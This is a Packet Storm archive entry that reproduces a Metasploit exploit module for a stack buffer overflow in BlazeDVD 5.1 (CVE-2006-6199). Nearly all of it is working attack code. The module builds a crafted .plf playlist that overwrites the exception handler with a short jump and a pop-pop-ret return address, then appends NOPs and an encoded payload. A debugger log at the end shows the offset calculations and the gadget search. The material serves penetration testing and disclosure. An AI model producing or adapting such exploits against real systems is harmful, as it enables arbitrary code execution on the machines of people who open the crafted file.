BlazeDVD 5.1 PLF Buffer Overflow

2009-10-30T00:00:00
ID PACKETSTORM:82927
Type packetstorm
Reporter MC
Modified 2009-10-30T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow',  
'Description' => %q{  
This module exploits a stack over flow in BlazeDVD 5.1. When  
the application is used to open a specially crafted plf file,   
a buffer is overwritten allowing for the execution of arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],  
'Version' => '$Revision:$',  
'References' =>  
[  
[ 'CVE' , '2006-6199' ],  
[ 'BID', '35918' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 03 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),  
], self.class)  
  
end  
  
def exploit  
  
plf = rand_text_alpha_upper(6024)  
  
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')  
plf[876,12] = make_nops(12)  
plf[888,payload.encoded.length] = payload.encoded  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(plf)  
  
end  
  
end  
=begin  
0:000> !exchain  
0012f2c8: 31644230  
Invalid exception stack at 64423963  
0:000> !pattern_offset 6024 0x31644230  
[Byakugan] Control of 0x31644230 at offset 872.  
0:000> !pattern_offset 6024 0x64423963  
[Byakugan] Control of 0x64423963 at offset 868.  
0:000> s -b 0x10000000 0x10018000 5e 59 c3  
100012cd 5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00 ^Y.V.t$.W..V..<.  
100101e7 5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24 ^Y........D$..L$  
0:000> u 0x100012cd L3  
skinscrollbar!SkinSB_ParentWndProc+0x1fd:  
100012cd 5e pop esi  
100012ce 59 pop ecx  
100012cf c3 ret  
=end  
`